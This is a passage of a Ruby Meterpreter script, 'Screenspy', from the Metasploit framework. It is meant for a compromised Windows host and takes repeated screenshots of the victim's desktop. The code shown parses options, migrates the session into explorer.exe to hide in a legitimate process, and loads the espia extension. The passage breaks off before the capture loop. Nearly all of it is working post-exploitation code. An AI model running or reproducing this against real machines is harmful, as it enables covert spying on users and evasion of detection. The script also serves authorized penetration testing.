## # WARNING: Metasploit no longer maintains or accepts meterpreter scripts. # If you'd like to improve this script, please try to port it as a post # module instead. Thank you. ## # Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com # # Thie script will open an interactive view of remote hosts # You will need firefox installed on your machine require 'fileutils' opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help menu." ], "-d" => [ true, "The Delay in seconds between each screenshot." ], "-t" => [ true, "The time to run in sec." ], "-s" => [ true, "The local system linux/windows" ] ) freq = 3 count = 10 file = "screenshot.jpeg" meter_type = client.platform localsys = "linux" opts.parse(args) { |opt, idx, val| case opt when '-d' freq = val.to_i when '-t' count = val.to_i when '-s' localsys = val.to_s when "-h" print_line print_line "Screenspy v1.0" print_line "--------------" print_line print_line print_line "Usage: bgrun screenspy -t 20 -d 1 => will take interactive Screenshot every sec for 20 sec long." print_line "Usage: bgrun screenspy -t 60 -d 5 => will take interactive Screenshot every 5 sec for 1 min long." print_line "Usage: bgrun screenspy -s windows -d 1 -t 60 => will take interactive Screenshot every 1 sec for 1 min long, windows local mode." print_line print_line "Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com" print_line(opts.usage) raise Rex::Script::Completed end } # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) print_error("#{meter} version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end # Check for Version of Meterpreter wrong_meter_version(meter_type) if meter_type != 'windows' session = client host,port = session.session_host, session.session_port print_status("New session on #{host}:#{port}...") logs = ::File.join(Msf::Config.install_root, 'logs', 'screenshot', host) outfile = ::File.join(Msf::Config.log_directory,file) ::FileUtils.mkdir_p(logs) begin process2mig = "explorer.exe" # Actual migration mypid = session.sys.process.getpid session.sys.process.get_processes().each do |x| if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) print_status("#{process2mig} Process found, migrating into #{x['pid']}") session.core.migrate(x['pid'].to_i) print_status("Migration Successful!!") end end rescue print_status("Failed to migrate process!") #next end begin session.core.use("espia") begin data="